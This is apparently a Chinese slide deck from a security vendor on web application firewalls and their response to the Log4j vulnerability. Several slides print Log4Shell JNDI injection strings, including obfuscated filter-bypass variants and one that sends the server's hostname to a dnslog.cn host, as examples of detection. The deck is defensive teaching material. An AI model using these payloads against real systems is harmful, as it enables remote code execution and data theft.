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WAF在安全体系中的角色

对外服务的守护者01



01 WAF在安全体系中的角色

• 正文内容（微软雅黑，字号20 ）
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网
络

Web服务
器 应用服务

器

数据
库

后端服务
器

Web服务器区域

1

网络层访问控制

2

异常检测等

3

应用层攻击防护

◆分类：边界类产品

◆防护对象：Web应用服务器，更确切的说，

是基于http协议的应用。

◆相比其他防护类产品，防护对象更加具体，

更具有针对性。
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◆ 应用的越来越丰富。尤其是云SAAS服务和移动app服务的大量

使用。基于云的SAAS服务大部分是建立在http通讯的基础之上。

常用的移动app，包括各种微信小程序，其后端也大都是基于

http的通讯。

◆ HTTP通讯由明文向加密的转变。大部分的HTTP通讯都采用加

密的通讯传输，采用的加密算法，从原理上杜绝了中间抓包解

密的可能性。WAF由于其部署特点，得到的直接是明文数据，

相比其他防护类产品，就有先天的优势。

◆ 现代攻击具有跟明确的目的性。攻击者经常对客户对外提供的

web服务进行特定分析，针对性的渗透。这也对web的应用防

护提出了更高的要求。
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Web应用防火墙“Web application firewall”简称“WAF”

1

3

2

4

敏感信
息泄露

信誉
损失

财产
损失

应用逻
辑攻击

拖库、撞库、漏洞利用、

SQL 注入等

DDOS、CC攻击、盗

链等

对特定目标进行长期

持续性攻击
网页篡改、XSS 、

CSRF、挂马等

安全
风险



WAF自身演化

主动防御理念与业务感知02
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WEB

安全
事件

7 Cookie安全

特征检测 1 8 CSRF防护

HTTP协议规范 2

6 文件上传

5 XML/JSON规范

参数规范 3

访问控制 4

SQL注入XSS

身份利用信息窃取

CC攻击

漏洞扫描

木马上传

Dos攻击

防御方法攻击手段

传统WAF的基本功能
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传统WAF的挑战

➢ 编码绕过：例如Log4j通过unicode绕过基础规则"${ jndi:ldap://"：

\u0024\u007bjndi:rmi://testabc.demoabc.com}

➢ 应用特性解析绕过：例如Log4j2通过如下输入

${${lower:${lower:jndi}}:${lower:ldap}://testabc.demoabc.com/test}

➢ 不能基于用户业务制定防御策略。例如：客户提供保险服务，无法检测保单信息有没有泄露。客户是电商，银行，通
讯商，举办一些优惠活动，无法防御薅羊毛行为。

➢ 在被攻击后，无法重现整个业务攻击过程，评估攻击对客户业务造成的危害。

➢ 爬虫对关键信息的遍历爬取，攻击者对客户业务的人工分析。

01 过度依赖静态规则，规则覆盖不足容易绕过

02 集中在通用攻击防护，缺乏业务理解能力

03 基于被动防御理念，缺乏对自动化工具，人工分析的主动对抗手段
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通用规则防护向自学习，动态防御转化

引入机器学习算法，机器学习模型持续更新，动态调整。改变以往的规则静态，规则遗漏，规则容易绕过缺点，

有效的进行异常识别，威胁检测。

由以往的人工设定规则，转向自学习分析，对服务进行自动梳理，具体分析，自动生成白名单式的防护策略。保

证服务防护更有针对性，更全面的覆盖面全。
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被动防御向主动防御转化

➢ 关键业务混淆，注入点隐藏。

比如针对id泄露问题，通过将默认参数id=123等键值对，转换为无序xxxxabex等字符串，主动防止攻击者
进行规律分析。同时也可以防止了攻击者对默认参数的修改而产生的越权行为。

➢ 攻击诱捕

对客户的真实业务中加入虚拟服务，对普通用户来说，虚拟服务不会不触发。而对攻击者，尤其是前期的
工具探测，甚至人工分析过程，都会对虚拟服务作为真实服务进行访问。通过都虚拟业务访问的检测，可以在
攻击的最早阶段发现攻击者。而且这种主动诱捕，具有很高的可靠性。通过发现这种行为，可以对攻击者直接
阻断。对某些特殊场合，还可以针对性的分析其后续行为，发现攻击者的最终目的。
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账号窃取

撞库

文档异常下载

用户权限异常变化

文档异常下载信息窃取

01

02

03

04

05

06

业务摘要

业务威胁

业务异常

来源地址

业务用户

业务接口

通
用
业
务
安
全
事
件

业
务
访
问
数
据
建
档
分
析

单一防护向业务感知持续防御转化

逻辑异常检测引擎
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业
务

摘
要

异常告警

用户分析

行为追踪
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自学习

输
出

输
入

特征升级

机器学习建模
机器学习异常检测

业务访问分析

业务加固

特征匹配

关键业务防护



Log4j漏洞应对实践

WAF产品应对黑天鹅事件03
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Log4j漏洞时间线

国内安全团队向Apache基

金会提交Java日志框架

Log4j RCE漏洞

2021年11月24日

互联网上开始出现该

RCE的利用

2021年12月1日
Apache Log4j发布若干

更新版本用以修复该RCE

漏洞(CVE-2021-44228)

2021年12月10日-13日

Apache Log4j发布修

复版本

2021年12月6日

该RCE漏洞被公开传播，在互联网上出现了大量的在野利用。 该漏洞不仅影响直接使

用该库的基于Java的应用程序和服务，还影响许多其他流行的依赖它的Java组件和开

发框架。触发条件极其简单，且毋需特殊配置，风险极大。 Apache将其CVSS评为10

分，命名为Log4shell

2021年12月09日

Apache Log4j陆续发布更新版本分别

用以修复相关的DoS漏洞 (CVE-2021-

45046)、DoS漏洞 (CVE-2021-45105)、

RCE漏洞(CVE-2021-44832)

2021年12月14日、16日、29日
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Log4j漏洞原理简介

支持形如"${prefix:name}"的格式。当输入的日志中包
含匹配该表达式的内容时,将会对"name"按照"prefix"

指定的方式求值，最后将该表达式替换成求得的值写
入输出日志中,且该语法可以嵌套。该功能支持了多种
Lookup的接口实现。

log4j提供了Lookup功能：

Log4j将使用JNDI功能查找“name”,并返回查找结果。
因此当“name”是一个JNDI支持的完整的URI时,将执行
JNDI Lookup, 导致攻击者可以JNDI注入，远程加载
恶意类到应用中，达到远程执行任意代码的目的。最
典型的攻击方式: ${jndi:ldap://dnslog.domain/}

当“prefix”为“jndi”时：

即使将JDK版本升级至较高版本无法远程加载
恶意类造成RCE，但Log4j具有多种Lookup方
法，仍可以通过OOB方式获取环境变量、系
统属性以及配置项等敏感信息。

Log4j具有多种Lookup方法：
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攻击者

Web Application

Log4j库
日志文件

恶意LDAP服务器

恶意class文件

${jndi:ldap://xxx}

请求ldap服务

返回恶意codebase路径

下载恶意class文件

返回恶意class文件

class
文件
中恶
意代
码被
执行 反弹连接服务器

可能被执行反弹连接

Log4j针对HTTP服务的攻击流程 （以LDAP实现方式为例）
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Log4j针对HTTP服务的攻击特点

攻击向量可以出现在HTTP请求报文的任意位置，只要进入了Log4j的日志记录接

口即可以触发远程代码执行。

1 参数

2 URL

3 请求体

4 Cookie
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Log4j针对HTTP服务的攻击特点

利用log4j在解析时的分隔

符”:-”和特殊字符：

➢ ${::-j}  =>  j (分隔符“:-”

及之前的部分被截掉)

➢ ${env:ENV_NAME:-j}、

${xksV:Xgi:-j}、

${ozI:Kgh:Qn:TXM:-j}  均

会被转为 j

➢ 特殊字符利用：${upper:ı}   

=>   i (ı是拉丁字符

U+0131)

利用log4j所支持的lookup

方法 (具体支持的方法和

log4j版本有关)绕过：

➢ ${lower:jndi}、

${upper:jndi}

➢ 支持嵌套替换

${${lower:${lower:jndi}}:$

{lower:ldap}://x}  =>  

${ jndi://ldap://x}

利用编码绕过：大小写，递

归URL编码，Unicode编码

(JSON格式），十六进制编

码

攻击输入变形丰富，给基于关键字的特征检测手段增大了漏报的风险
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基于机器学习的0day检测机制基于流量自学习的0day检测机制

基于学习的0day机制应对Log4j漏洞
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➢ 对HTTP流量进行学习，清点HTTP服务拓扑结构

➢ 学习HTTP方法、URL、参数、Cookie关键信息

➢ 对学习的结果进行预处理、统计分析

➢ 自动生成WAF安全策略

➢ 自学习白名单防护能有效地抵御0day漏洞
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基于自学习的0day检测机制

防护配置

自主进化的检
测系统

自学习引擎

输
出

输
入
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• 针对jndi参数攻击的自学习防护

➢ WEB服务资源清点

➢ 针对参数学习结果自动进行参数规范

防护

Page22

基于自学习的0day检测机制
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➢ 尝试通过core参数进行Log4j攻击：
core=${jndi:ldap://${env:HOSTNAME}.
66ylcg.dnslog.cn/exp}

➢ 参数规范策略限制参数core的最大长度和类
型（数字）

➢ 由于Log4j攻击串中包含字母和其它特殊字
符，并且长度超长，不符合参数规范策略

➢ Log4j攻击尝试被参数规范策略成功拦截

基于自学习的0day检测机制
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➢ 机器学习建立专门的模型

➢ 将客户端输入代入模型
中进行计算，计算当前
输入的异常度

➢ 对于异常的输入进行阻
断

基于机器学习的0day检测机制

06 02

01

05 03

04

数据处理

特征工程

模型训练

模型检验

模型上线

模型迭代

机器学习引擎

采用基于概率图等多种异常检测模
型识别异常流量，模型在线更新迭

代

异常检测模型



03 Log4j漏洞应对实践

Page25

机器学习检测模型

用户正常输入：
admin_479

Log4j攻击：
${jndi:ldap://...}

异常

正常

Web 服务器

基于机器学习的0day检测机制
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自定义特征 预定义特征升级

基于攻击特征检测Log4j漏洞攻击响应
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➢ 用户在漏洞爆发初期可以在第一
时间通过添加自定义特征对
Log4j漏洞进行检测

➢ 自定义特征采用正则表达式来描
述攻击特征，做尽量全面的覆盖。

➢ 可定义规则在URL、参数、
HTTP请求体、Cookie中检测
Log4j攻击

自定义特征检测紧急响应
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➢ 尝试通过参数进行Log4j攻击

➢ 攻击被自定义特征规则
成功拦截

➢ 产生相应的攻击日志，并
记录攻击的详细信息

自定义特征检测拦截攻击
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➢ 对URL、参数、Cookie、Header
等多个可能引入Log4j漏洞的HTTP
目标中进行检测

➢ 多种HTTP编码的解码，防止通过
对Log4j攻击特征进行编码来绕过
安全检测

➢ 已知漏洞防护类中内置Log4j检测
规则

预定义特征及时升级相应
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Log4j一次针对WEB入侵行为的分析检测

在”业务分析”系统中，

发现了某可疑IP，

有”WEB攻击”威胁告警。

第一步
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Log4j一次针对WEB入侵行为的分析检测

跟进该可疑IP地址，进入

IP档案，可以看到该IP的

相关跟踪信息。

第二步
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Log4j一次针对WEB入侵行为的分析检测

在IP的”点击回溯”页面，
可以看到攻击发生
/manager/html/upload
/业务访问。

第三步
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Log4j一次针对WEB入侵行为的分析检测

查看攻击的详细信息，可
以看到该请求是通过
/manager/html/upload
地址触发了上传文件特征
检测。

该地址是服务器Tomcat
管理控制台，禁止非管理
员登录，该IP通过该地址
触发了上传漏洞特征，说
明有可能该IP获取了管理
员权限，继续回溯历史记
录。

第四步
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Log4j一次针对WEB入侵行为的分析检测

再回溯该可疑IP的历史，
看到其在访问Tomcat控
制台/manager/html时返
回200，说明其正确登录
了控制台。再往回溯，看
到两个触发了HTTP响应
码为400的可疑操作。

第五步
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Log4j一次针对WEB入侵行为的分析检测

点击进入响应码400的记
录的详细信息，可以看到
请求是提交了参数”core”
为”${jndi:ldap://xx/To
mcatBypass/Command
/Base64/xx}”的输入内
容。

第六步
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Log4j一次针对WEB入侵行为的分析检测

以上流程可以猜测，攻击者可能是通过某个JNDI注入的相关漏洞，

获取了Tomcat控制台权限，并尝试上传恶意后门程序。
分析

当发现攻击时，通过业务安全的角度分析攻击的思路。

通过一个基础威胁，追溯攻击第一现场的方法。
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构筑统一防御体系04
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深度检测

与蜜罐产品的联合
将异常流量导入蜜罐设备，防止真实服务被破坏的同时，进一步分析攻击者行为和目
的。

与沙箱产品的联合

将可疑上传文件实时同步给沙箱，异步等待沙箱的进一步分析结果，根据结果对流量
进行通过或者拦截。
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威胁信息增强

攻击源情报信息
通过获取第三方收集的信息情报，对攻击来源进行识别，在第一时间进行拦截。

WAF基于漏洞的分析

除了自身的漏洞挖掘，通过联合其他产品的漏洞分析，提供接口，及时部署新型漏洞
补丁，增强自身检测能力。
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数据与分析结果

与态势感知等产品的结合
将HTTP数据进行分析整理，发送给态势感知产品，为态势感知产品结合网络各层数
据，发现深层次的攻击行为。

与审计产品的结合
对WEB层加密流量解密分析，并将结果提供给审计类产品，为审计类产品提供可靠
的流量来源。
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联合防御

安全访问服务边缘
（SASE）

零信任网络架构（ZTNA）

网络安全网格
（CyberSecurityMesh）

Gartner

安全模型
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